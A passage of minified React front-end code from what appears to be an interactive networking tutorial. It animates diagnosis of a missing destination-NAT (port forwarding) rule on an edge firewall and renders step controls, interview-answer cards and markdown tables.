192.168.1.10`,u=`#10b981`):e===27?(s=!0,o=510,c=`FORWARDED TO SERVER`,l=`Dst: 192.168.1.10:443`,u=`#10b981`):e===28||e===29?(s=!0,o=510,c=`SYN-ACK RESPONSE`,l=`Src: 192.168.1.10:443`,u=`#10b981`):e===30?(s=!0,o=370,c=`REVERSE NAT TRANSLATE`,l=`Src ➔ 203.0.113.10`,u=`#10b981`):e>=31&&(s=!0,o=80,c=`HTTP 200 OK VERIFIED ✓`,l=`Full WAN Reachability`,u=`#10b981`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:r?`#f0fdf4`:n?`#fef2f2`:`#eff6ff`,stroke:r?`#86efac`:n?`#fca5a5`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:r?`#15803d`:n?`#991b1b`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:r?`PART C: DNAT RULE REMEDIATION — PORT FORWARDING ACTIVE ➔ 203.0.113.10:443 ➔ 192.168.1.10:443 VERIFIED ✓`:n?`PART B: WAN FAILURE DIAGNOSIS — ACL PERMITS TRAFFIC BUT MISSING DNAT RULE CAUSES TIMEOUT ✕`:`PART A: INTERNAL LAN BASELINE TEST — CONFIRMING SERVER IS LISTENING ON 192.168.1.10:443 ✓`})]}),a&&(0,k.jsx)(`g`,{opacity:`0.6`,children:t?(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`610`,y2:`75`,stroke:`#10b981`,strokeWidth:`2`,strokeDasharray:`4,4`}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]})}),(e===4||e===6)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`610`,y2:`75`,color:`#10b981`,label:`LAN DIRECT ACCESS`}),(e===12||e===23)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:`#0284c7`,label:`WAN INBOUND :443`}),(e===27||e===28)&&(0,k.jsx)(A,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,color:`#10b981`,label:`DNAT TO SERVER`}),(0,k.jsx)(M,{cx:80,cy:75,label:t?`INTERNAL LAN CLIENT`:`EXTERNAL WAN CLIENT`,ip:t?`192.168.1.50`:`198.51.100.99`,active:!0,danger:n&&e>=18,success:t||r}),i&&!t&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-48`,y:`-30`,width:`96`,height:`46`,rx:`8`,fill:`#0f172a`,stroke:r?`#10b981`:n&&e>=16?`#ef4444`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`FIREWALL & NAT`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:r?`DNAT ACTIVE ✓`:n&&e>=16?`DNAT MISSING ✕`:`WAN: 203.0.113.10`}),(0,k.jsx)(`text`,{x:`0`,y:`26`,textAnchor:`middle`,fontSize:`8.5`,fontWeight:`bold`,fill:`#0f172a`,children:`EDGE GATEWAY`})]}),(0,k.jsx)(P,{cx:650,cy:75,label:`INTERNAL WEB SERVER`,sub:`192.168.1.10:443`,active:!0,success:t||r}),s&&(0,k.jsx)(j,{cx:o,cy:75,label:c,sub:l,color:u,dropped:n&&e>=18}),n&&e>=18&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`line`,{x1:`-15`,y1:`-15`,x2:`15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`line`,{x1:`15`,y1:`-15`,x2:`-15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`DIAGNOSTIC TRIAGE MATRIX: INBOUND FIREWALL ACL VS DESTINATION NAT (PORT FORWARDING)`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`DIAGNOSTIC CHECKPOINT STATUS:`}),(0,k.jsxs)(`g`,{transform:`translate(8, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`1. Server Listening on Port 443: PASSED (netstat -tuln ✓)`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`20`,rx:`3`,fill:t?`#ffffff`:`#dcfce7`,stroke:t?`#e2e8f0`:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:t?`#64748b`:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`2. Inbound Security Policy: PERMIT tcp any ➔ 203.0.113.10:443 ✓`}),(0,k.jsx)(`rect`,{x:`0`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:r?`#dcfce7`:n?`#fee2e2`:`#ffffff`,stroke:r?`#86efac`:n?`#fca5a5`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`62`,fill:r?`#059669`:n?`#991b1b`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:r?`3. Destination NAT (DNAT): 203.0.113.10:443 ➔ 192.168.1.10:443 [PASSED ✓]`:n?`3. Destination NAT (DNAT): NO MAPPING FOUND IN NAT TABLE [FAILED ✕]`:`3. Destination NAT (DNAT): Pending WAN Test`}),(0,k.jsx)(`rect`,{x:`0`,y:`74`,width:`309`,height:`22`,rx:`3`,fill:r?`#dcfce7`:`#ffffff`,stroke:r?`#86efac`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`88`,fill:r?`#059669`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:r?`4. Return Path Default Gateway: 192.168.1.1 [CONFIRMED ✓]`:`4. Return Routing: Default Gateway 192.168.1.1`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Root Cause Verdict: `,(0,k.jsx)(`tspan`,{fill:r?`#059669`:n?`#b91c1c`:`#0284c7`,fontWeight:`bold`,children:r?`DNAT Configured &amp; Verified`:n?`Missing DNAT (Port Forwarding) Rule`:`Internal LAN Baseline Operational`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`FIREWALL DNAT (PORT FORWARD) CONFIGURATION:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`42`,rx:`4`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#94a3b8`,fontSize:`6.8`,fontFamily:`monospace`,children:`[CISCO ASA / PALO ALTO DNAT CONFIGURATION]`}),(0,k.jsx)(`text`,{x:`10`,y:`26`,fill:r?`#4ade80`:`#f87171`,fontSize:`7`,fontFamily:`monospace`,children:r?`nat (outside,inside) source any destination static 203.0.113.10 192.168.1.10 service https https`:`# ERROR: No translation rule matched packet destined to 203.0.113.10:443`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 70)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`62`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:`Triage Methodology Rule:`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#475569`,fontSize:`7.5`,children:[`1. If LAN works but WAN fails: `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`Check Inbound ACL + DNAT rule.`})]}),(0,k.jsx)(`text`,{x:`10`,y:`42`,fill:`#475569`,fontSize:`7.5`,children:`2. Both ACL (Permit) AND DNAT (Translate) are required for public access.`}),(0,k.jsx)(`text`,{x:`10`,y:`56`,fill:`#059669`,fontSize:`7.5`,fontWeight:`bold`,children:`✔ Retest Confirmed: External client receives HTTP 200 OK!`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=31?`RESULT: ✓ FULL WAN REACHABILITY RESTORED — DNAT TRANSLATION &amp; HTTP 200 OK VERIFIED`:e>=21?`PART C: COMMITTING DNAT PORT FORWARDING RULE &amp; RETESTING WAN ACCESS`:e>=16?`PART B: ✕ WAN ATTEMPT FAILED — FIREWALL ALLOWS PACKET BUT MISSING DNAT DROPS IT`:e>=7?`PART A: ✓ INTERNAL LAN REACHABILITY CONFIRMED — SERVER PROCESS HEALTHY`:`READY — ADVANCE STEP TO TRACE INTERNAL VS WAN TROUBLESHOOTING SIMULATION`})})]})},In=({question:e,currentStepIndex:t,onOpenSandbox:n})=>{let[r,i]=(0,_.useState)(`auto`),a=e.steps[t]||e.steps[0],o=e.steps.length;return(0,k.jsxs)(`div`,{className:`relative w-full bg-white rounded-t-2xl flex flex-col justify-between overflow-hidden min-h-[360px] sm:min-h-[460px]`,children:[(0,k.jsxs)(`div`,{className:`px-3 sm:px-5 pt-3 sm:pt-4 pb-2.5 border-b border-slate-100 flex flex-wrap items-center justify-between gap-2 bg-white select-none`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2 sm:gap-3 min-w-0 flex-1`,children:[(0,k.jsx)(`div`,{className:`flex items-center gap-1.5 px-2.5 py-0.5 rounded-full bg-blue-50 border border-blue-200 text-blue-700 text-[11px] sm:text-xs font-bold font-mono shrink-0`,children:(0,k.jsxs)(`span`,{children:[`STEP `,t+1,` / `,o]})}),(0,k.jsx)(`h2`,{className:`text-xs sm:text-sm font-bold text-slate-900 tracking-tight truncate`,children:a.label})]}),(0,k.jsxs)(`div`,{className:`flex items-center gap-2 shrink-0`,children:[(0,k.jsxs)(`div`,{className:`flex items-center rounded-lg border border-slate-200 bg-slate-50 p-0.5 text-[10px] font-mono`,children:[(0,k.jsxs)(`button`,{onClick:()=>i(`vertical`),className:`flex items-center gap-1 px-2 py-0.5 rounded-md transition-all cursor-pointer ${r===`vertical`||r===`auto`?`sm:hidden bg-white text-blue-700 font-bold shadow-2xs`:``} ${r===`vertical`?`bg-white text-blue-700 font-bold shadow-2xs`:`text-slate-600`}`,title:`Vertical Mobile View`,children:[(0,k.jsx)(vt,{className:`h-3 w-3`}),(0,k.jsx)(`span`,{children:`Vertical`})]}),(0,k.jsxs)(`button`,{onClick:()=>i(`horizontal`),className:`flex items-center gap-1 px-2 py-0.5 rounded-md transition-all cursor-pointer ${r===`horizontal`||r===`auto`?`hidden sm:flex bg-white text-blue-700 font-bold shadow-2xs`:``} ${r===`horizontal`?`bg-white text-blue-700 font-bold shadow-2xs`:`text-slate-600`}`,title:`Wide Desktop View`,children:[(0,k.jsx)(Xe,{className:`h-3 w-3`}),(0,k.jsx)(`span`,{children:`Canvas`})]})]}),a.badge&&(0,k.jsx)(`span`,{className:`hidden xs:inline-block px-2 py-0.5 rounded-md bg-slate-100 border border-slate-200 text-[10px] sm:text-[11px] font-mono font-semibold text-slate-600`,children:a.badge})]})]}),(0,k.jsxs)(`div`,{className:`mx-3 sm:mx-5 my-2.5 p-2.5 sm:p-3 rounded-xl bg-gradient-to-r from-blue-50/90 via-slate-50 to-indigo-50/70 text-slate-800 shadow-2xs flex flex-col sm:flex-row items-start sm:items-center justify-between gap-2.5 border border-blue-100/80`,children:[(0,k.jsxs)(`div`,{className:`flex items-start sm:items-center gap-2.5 min-w-0 flex-1`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-1.5 px-2 py-0.5 rounded-md bg-blue-100 border border-blue-200 text-blue-800 text-[10px] sm:text-[11px] font-mono font-bold shrink-0 tracking-wide`,children:[(0,k.jsx)(`span`,{className:`h-1.5 w-1.5 rounded-full bg-blue-600 animate-pulse`}),`DIRECT ANSWER`]}),(0,k.jsx)(`p`,{className:`text-xs sm:text-[13px] text-slate-800 font-semibold leading-snug break-words`,children:a.interviewTakeaway||e.elevatorPitch})]}),(0,k.jsxs)(`div`,{className:`flex items-center gap-2 self-stretch sm:self-auto justify-between sm:justify-end shrink-0 pt-1 sm:pt-0 border-t sm:border-t-0 border-slate-200`,children:[a.decision&&(0,k.jsxs)(`span`,{className:`px-2.5 py-0.5 rounded-md font-mono text-[11px] font-extrabold uppercase tracking-wide border shadow-2xs ${a.decision===`ALLOW`?`bg-emerald-50 text-emerald-800 border-emerald-300`:a.decision===`DENY`||a.decision===`DROP`?`bg-rose-50 text-rose-800 border-rose-300`:a.decision===`TRANSLATE`?`bg-indigo-50 text-indigo-800 border-indigo-300`:a.decision===`ENCRYPT`?`bg-cyan-50 text-cyan-800 border-cyan-300`:`bg-amber-50 text-amber-800 border-amber-300`}`,children:[`VERDICT: `,a.decision]}),a.packetInfo&&(0,k.jsxs)(`span`,{className:`text-[10px] font-mono text-slate-600 bg-white px-2 py-0.5 rounded border border-slate-200 shadow-2xs`,children:[a.packetInfo.protocol,` `,a.packetInfo.srcPort?`:${a.packetInfo.srcPort}`:``,` ➔ `,a.packetInfo.dstPort?`:${a.packetInfo.dstPort}`:``]})]})]}),(0,k.jsxs)(`div`,{className:`flex-1 w-full relative p-2 sm:p-4 flex items-center justify-center min-h-[260px] sm:min-h-[340px] bg-slate-50/40 overflow-hidden`,children:[(0,k.jsx)(`div`,{className:`w-full ${r===`vertical`?`block`:r===`horizontal`?`hidden`:`block sm:hidden`}`,children:(0,k.jsx)(zt,{question:e,currentStepIndex:t,step:a,totalSteps:o,onOpenSandbox:n})}),(0,k.jsx)(`div`,{className:`w-full h-full flex items-center justify-center max-w-full ${r===`horizontal`?`flex`:r===`vertical`?`hidden`:`hidden sm:flex`}`,children:(()=>{switch(e.id){case 1:return(0,k.jsx)(Bt,{currentStepIndex:t,step:a,totalSteps:o});case 2:return(0,k.jsx)(Vt,{currentStepIndex:t,step:a,totalSteps:o});case 3:return(0,k.jsx)(Ht,{currentStepIndex:t,step:a,totalSteps:o});case 4:return(0,k.jsx)(Ut,{currentStepIndex:t,step:a,totalSteps:o});case 5:return(0,k.jsx)(Wt,{currentStepIndex:t,step:a,totalSteps:o});case 6:return(0,k.jsx)(Gt,{currentStepIndex:t,step:a,totalSteps:o});case 7:return(0,k.jsx)(Kt,{currentStepIndex:t,step:a,totalSteps:o});case 8:return(0,k.jsx)(qt,{currentStepIndex:t,step:a,totalSteps:o});case 9:return(0,k.jsx)(Jt,{currentStepIndex:t,step:a,totalSteps:o});case 10:return(0,k.jsx)(I,{currentStepIndex:t,step:a,totalSteps:o});case 11:return(0,k.jsx)(Yt,{currentStepIndex:t,step:a,totalSteps:o});case 12:return(0,k.jsx)(Xt,{currentStepIndex:t,step:a,totalSteps:o});case 13:return(0,k.jsx)(Zt,{currentStepIndex:t,step:a,totalSteps:o});case 14:return(0,k.jsx)(Qt,{currentStepIndex:t,step:a,totalSteps:o});case 15:return(0,k.jsx)($t,{currentStepIndex:t,step:a,totalSteps:o});case 16:return(0,k.jsx)(en,{currentStepIndex:t,step:a,totalSteps:o});case 17:return(0,k.jsx)(tn,{currentStepIndex:t,step:a,totalSteps:o});case 18:return(0,k.jsx)(nn,{currentStepIndex:t,step:a,totalSteps:o});case 19:return(0,k.jsx)(rn,{currentStepIndex:t,step:a,totalSteps:o});case 20:return(0,k.jsx)(an,{currentStepIndex:t,step:a,totalSteps:o});case 21:return(0,k.jsx)(on,{currentStepIndex:t,step:a,totalSteps:o});case 22:return(0,k.jsx)(sn,{currentStepIndex:t,step:a,totalSteps:o});case 23:return(0,k.jsx)(cn,{currentStepIndex:t,step:a,totalSteps:o});case 24:return(0,k.jsx)(ln,{currentStepIndex:t,step:a,totalSteps:o});case 25:return(0,k.jsx)(un,{currentStepIndex:t,step:a,totalSteps:o});case 26:return(0,k.jsx)(dn,{currentStepIndex:t,step:a,totalSteps:o});case 27:return(0,k.jsx)(fn,{currentStepIndex:t,step:a,totalSteps:o});case 28:return(0,k.jsx)(pn,{currentStepIndex:t,step:a,totalSteps:o});case 29:return(0,k.jsx)(mn,{currentStepIndex:t,step:a,totalSteps:o});case 30:return(0,k.jsx)(hn,{currentStepIndex:t,step:a,totalSteps:o});case 31:return(0,k.jsx)(gn,{currentStepIndex:t,step:a,totalSteps:o});case 32:return(0,k.jsx)(_n,{currentStepIndex:t,step:a,totalSteps:o});case 33:return(0,k.jsx)(vn,{currentStepIndex:t,step:a,totalSteps:o});case 34:return(0,k.jsx)(yn,{currentStepIndex:t,step:a,totalSteps:o});case 35:return(0,k.jsx)(bn,{currentStepIndex:t,step:a,totalSteps:o});case 36:return(0,k.jsx)(xn,{currentStepIndex:t,step:a,totalSteps:o});case 37:return(0,k.jsx)(Sn,{currentStepIndex:t,step:a,totalSteps:o});case 38:return(0,k.jsx)(Cn,{currentStepIndex:t,step:a,totalSteps:o});case 39:return(0,k.jsx)(wn,{currentStepIndex:t,step:a,totalSteps:o});case 40:return(0,k.jsx)(Tn,{currentStepIndex:t,step:a,totalSteps:o});case 41:return(0,k.jsx)(En,{currentStepIndex:t,step:a,totalSteps:o});case 42:return(0,k.jsx)(Dn,{currentStepIndex:t,step:a,totalSteps:o});case 43:return(0,k.jsx)(On,{currentStepIndex:t,step:a,totalSteps:o});case 44:return(0,k.jsx)(kn,{currentStepIndex:t,step:a,totalSteps:o});case 45:return(0,k.jsx)(An,{currentStepIndex:t,step:a,totalSteps:o});case 46:return(0,k.jsx)(jn,{currentStepIndex:t,step:a,totalSteps:o});case 47:return(0,k.jsx)(Mn,{currentStepIndex:t,step:a,totalSteps:o});case 48:return(0,k.jsx)(Nn,{currentStepIndex:t,step:a,totalSteps:o});case 49:return(0,k.jsx)(Pn,{currentStepIndex:t,step:a,totalSteps:o});case 50:return(0,k.jsx)(Fn,{currentStepIndex:t,step:a,totalSteps:o});default:return(0,k.jsx)(Bt,{currentStepIndex:t,step:a,totalSteps:o})}})()})]})]})},Ln=({isPlaying:e,onTogglePlay:t,onPrevStep:n,onNextStep:r,onReplay:i,currentStep:a,totalSteps:o,onScrub:s,speed:c,onChangeSpeed:l})=>(0,k.jsxs)(`div`,{className:`w-full flex flex-col sm:flex-row items-center justify-between gap-2 sm:gap-3 px-2.5 sm:px-4 py-2 sm:py-3 bg-slate-50/95 border-t border-slate-200 rounded-b-2xl select-none`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-1 sm:gap-2 w-full sm:w-auto justify-between sm:justify-start`,children:[(0,k.jsxs)(`button`,{onClick:n,disabled:a===0,className:`flex items-center gap-1 px-2 sm:px-3 py-1.5 rounded-lg border border-slate-300 bg-white text-xs font-bold text-slate-700 hover:bg-slate-100 hover:text-slate-900 disabled:opacity-35 disabled:cursor-not-allowed cursor-pointer transition-all shadow-2xs active:scale-95 shrink-0`,title:`Previous Step`,"aria-label":`Previous Step`,children:[(0,k.jsx)(he,{className:`h-3.5 w-3.5`}),(0,k.jsx)(`span`,{className:`hidden xs:inline`,children:`PREV`})]}),(0,k.jsxs)(`button`,{onClick:r,disabled:a===o-1,className:`flex items-center gap-1.5 px-3 sm:px-4 py-1.5 rounded-lg bg-blue-600 hover:bg-blue-700 text-white text-xs font-bold shadow-xs shadow-blue-500/20 disabled:opacity-35 disabled:cursor-not-allowed cursor-pointer transition-all active:scale-95 shrink-0`,title:`Next Step (Advance Animation)`,"aria-label":`Next Step`,children:[(0,k.jsx)(`span`,{children:`NEXT`}),(0,k.jsx)(_e,{className:`h-3.5 w-3.5`})]}),(0,k.jsxs)(`button`,{onClick:i,className:`flex items-center gap-1 px-2 sm:px-2.5 py-1.5 rounded-lg border border-slate-300 bg-white text-xs font-bold text-slate-700 hover:bg-slate-100 hover:text-slate-900 cursor-pointer transition-all shadow-2xs active:scale-95 shrink-0`,title:`Replay from Step 1`,"aria-label":`Replay`,children:[(0,k.jsx)(it,{className:`h-3.5 w-3.5 text-blue-600`}),(0,k.jsx)(`span`,{className:`hidden md:inline`,children:`REPLAY`})]}),(0,k.jsxs)(`button`,{onClick:t,className:`flex items-center gap-1 px-2 sm:px-2.5 py-1.5 rounded-lg text-xs font-bold transition-all cursor-pointer active:scale-95 shrink-0 ${e?`bg-amber-500 text-white hover:bg-amber-600 shadow-xs`:`border border-slate-200 bg-white text-slate-600 hover:bg-slate-100`}`,title:e?`Pause Auto-Play`:`Auto-Play Sequence`,children:[e?(0,k.jsx)(Qe,{className:`h-3.5 w-3.5 fill-current`}):(0,k.jsx)(et,{className:`h-3.5 w-3.5 fill-current ml-0.5`}),(0,k.jsx)(`span`,{className:`hidden lg:inline`,children:e?`PAUSE`:`PLAY`})]})]}),(0,k.jsxs)(`div`,{className:`flex items-center justify-between sm:justify-end gap-2 sm:gap-3 w-full sm:w-auto border-t sm:border-t-0 pt-1.5 sm:pt-0 border-slate-200/60`,children:[(0,k.jsx)(`div`,{className:`hidden md:flex items-center gap-1 max-w-[120px] overflow-hidden`,children:Array.from({length:o}).map((e,t)=>(0,k.jsx)(`button`,{onClick:()=>s(t),className:`h-2 rounded-full transition-all cursor-pointer shrink-0 ${t===a?`w-4 bg-blue-600`:t<=a?`w-1.5 bg-blue-400`:`w-1.5 bg-slate-300 hover:bg-slate-400`}`,title:`Jump to step ${t+1}`},t))}),(0,k.jsxs)(`span`,{className:`px-2 py-0.5 rounded-md bg-slate-200/80 text-[11px] sm:text-xs font-mono font-bold text-slate-700 shrink-0`,children:[`Step `,a+1,` of `,o]}),(0,k.jsxs)(`div`,{className:`relative flex items-center bg-white rounded-lg border border-slate-300 px-1.5 py-0.5 shadow-2xs shrink-0`,children:[(0,k.jsx)(Ie,{className:`h-3.5 w-3.5 text-slate-400 mr-1`}),(0,k.jsx)(`select`,{value:c,onChange:e=>l(Number(e.target.value)),className:`bg-transparent text-[11px] sm:text-xs font-mono font-bold text-slate-700 pr-1 py-0.5 focus:outline-none cursor-pointer`,children:[.5,1,1.5,2].map(e=>(0,k.jsxs)(`option`,{value:e,className:`bg-white text-slate-800`,children:[e,`x`]},e))})]})]})]}),Rn=({currentStep:e,onOpenQuiz:t,onOpenSandbox:n,isRuleSpecificQuestion:r})=>(0,k.jsxs)(`div`,{className:`grid grid-cols-1 md:grid-cols-2 gap-4 mt-4 w-full`,children:[(0,k.jsxs)(`div`,{className:`relative rounded-2xl border border-blue-100 bg-white p-4 sm:p-5 shadow-xs overflow-hidden flex flex-col justify-between max-w-full`,children:[(0,k.jsxs)(`div`,{className:`w-full`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2.5 mb-2.5`,children:[(0,k.jsx)(`div`,{className:`flex h-7 w-7 items-center justify-center rounded-lg bg-blue-50 text-blue-600 border border-blue-100 shrink-0`,children:(0,k.jsx)(Ke,{className:`h-4 w-4`})}),(0,k.jsx)(`h3`,{className:`text-sm font-extrabold text-slate-900 tracking-tight`,children:`What is happening?`})]}),(0,k.jsx)(`p`,{className:`text-xs sm:text-sm text-slate-600 leading-relaxed font-normal break-words whitespace-normal`,children:e.whatIsHappening}),e.ruleMatched&&(0,k.jsxs)(`div`,{className:`mt-2.5 flex items-start gap-1.5 rounded-lg bg-blue-50/70 border border-blue-200/80 px-2.5 py-1.5 text-xs max-w-full overflow-hidden`,children:[(0,k.jsx)(mt,{className:`h-4 w-4 text-blue-600 shrink-0 mt-0.5`}),(0,k.jsx)(`span`,{className:`font-mono text-[11px] text-blue-900 font-semibold break-all whitespace-normal`,children:e.ruleMatched})]})]}),e.packetInfo&&(0,k.jsxs)(`div`,{className:`mt-3 flex flex-wrap items-center gap-1.5 rounded-lg bg-slate-50 border border-slate-200 px-2.5 py-1.5 text-xs font-mono max-w-full overflow-hidden break-all`,children:[(0,k.jsx)(`span`,{className:`text-slate-500 font-medium text-[11px]`,children:`Header:`}),(0,k.jsx)(`span`,{className:`text-blue-700 font-bold`,children:e.packetInfo.srcIp}),(0,k.jsx)(`span`,{className:`text-slate-400`,children:`➔`}),(0,k.jsxs)(`span`,{className:`text-indigo-700 font-bold`,children:[e.packetInfo.dstIp,`:`,e.packetInfo.dstPort||`ANY`]}),(0,k.jsx)(`span`,{className:`rounded bg-blue-100 text-blue-800 px-1.5 py-0.5 text-[10px] font-bold`,children:e.packetInfo.protocol}),e.decision&&(0,k.jsx)(`span`,{className:`px-1.5 py-0.5 rounded text-[10px] font-extrabold ${e.decision===`ALLOW`?`bg-emerald-100 text-emerald-800 border border-emerald-200`:`bg-rose-100 text-rose-800 border border-rose-200`}`,children:e.decision})]})]}),(0,k.jsxs)(`div`,{className:`relative rounded-2xl border border-indigo-100 bg-white p-4 sm:p-5 shadow-xs flex flex-col justify-between overflow-hidden max-w-full`,children:[(0,k.jsxs)(`div`,{className:`w-full`,children:[(0,k.jsxs)(`div`,{className:`flex flex-wrap items-center justify-between gap-2 mb-2.5`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2.5`,children:[(0,k.jsx)(`div`,{className:`flex h-7 w-7 items-center justify-center rounded-lg bg-indigo-50 text-indigo-600 border border-indigo-100 shrink-0`,children:(0,k.jsx)(St,{className:`h-4 w-4`})}),(0,k.jsx)(`h3`,{className:`text-sm font-extrabold text-slate-900 tracking-tight`,children:`To-the-Point Interview Answer`})]}),r?(0,k.jsxs)(`button`,{onClick:n,className:`flex items-center gap-1 px-2.5 py-1 rounded-full bg-blue-50 text-blue-700 hover:bg-blue-100 border border-blue-200 text-xs font-bold transition-colors cursor-pointer shrink-0`,children:[(0,k.jsx)(bt,{className:`h-3 w-3`}),(0,k.jsx)(`span`,{children:`Test in Simulator`})]}):(0,k.jsxs)(`button`,{onClick:t,className:`flex items-center gap-1 px-2.5 py-1 rounded-full bg-slate-50 text-slate-700 hover:bg-slate-100 border border-slate-200 text-xs font-bold transition-colors cursor-pointer shrink-0`,children:[(0,k.jsx)(Et,{className:`h-3 w-3 text-blue-600`}),(0,k.jsx)(`span`,{children:`Predict next step`})]})]}),(0,k.jsx)(`div`,{className:`p-2.5 rounded-xl bg-indigo-50/60 border border-indigo-200/60 text-indigo-950 font-semibold text-xs sm:text-[13px] leading-relaxed mb-2`,children:e.interviewTakeaway})]}),(0,k.jsxs)(`div`,{className:`mt-3 pt-2.5 border-t border-slate-100 flex flex-wrap items-center justify-between text-[11px] text-slate-500 gap-1`,children:[(0,k.jsx)(`span`,{className:`font-medium text-slate-600`,children:`Key concept for technical screening & system design.`}),(0,k.jsx)(`span`,{className:`text-blue-600 font-bold cursor-pointer hover:underline`,onClick:t,children:`Practice challenge →`})]})]})]}),zn=e=>e.split(/(\*\*.*?\*\*)/g).map((e,t)=>e.startsWith(`**`)&&e.endsWith(`**`)?(0,k.jsx)(`strong`,{className:`text-slate-900 font-bold`,children:e.slice(2,-2)},t):e.startsWith("`")&&e.endsWith("`")?(0,k.jsx)(`code`,{className:`px-1.5 py-0.5 rounded bg-slate-100 font-mono text-[11px] text-indigo-700 font-semibold`,children:e.slice(1,-1)},t):e),Bn=e=>{let t=e.split(`
`),n=[],r=[],i=!1,a=e=>{if(r.length>0){let t=r[0],a=r.slice(1).filter(e=>!e.every(e=>e.trim().match(/^:?-+:?$/)));n.push((0,k.jsx)(`div`,{className:`overflow-x-auto my-3 rounded-xl border border-slate-200 shadow-2xs`,children:(0,k.jsxs)(`table`,{className:`w-full text-left text-xs border-collapse bg-white`,children:[(0,k.jsx)(`thead`,{children:(0,k.jsx)(`tr`,{className:`bg-slate-50 border-b border-slate-200`,children:t.map((e,t)=>(0,k.jsx)(`th`,{className:`p-2.5 font-bold text-slate-800 font-mono uppercase text-[11px]`,children:zn(e.trim())},t))})}),(0,k.jsx)(`tbody`,{children:a.map((e,t)=>(0,k.jsx)(`tr`,{className:`border-b border-slate-100 hover:bg-slate-50/60 transition-colors`,children:e.map((e,t)=>(0,k.jsx)(`td`,{className:`p-2.5 text-slate-700 text-xs`,children:zn(e.trim())},t))},t))})]})},e)),r=[],i=!1}};return t.forEach((e,t)=>{let o=e.trim();if(o.startsWith(`|`)&&o.endsWith(`|`)){i=!0;let 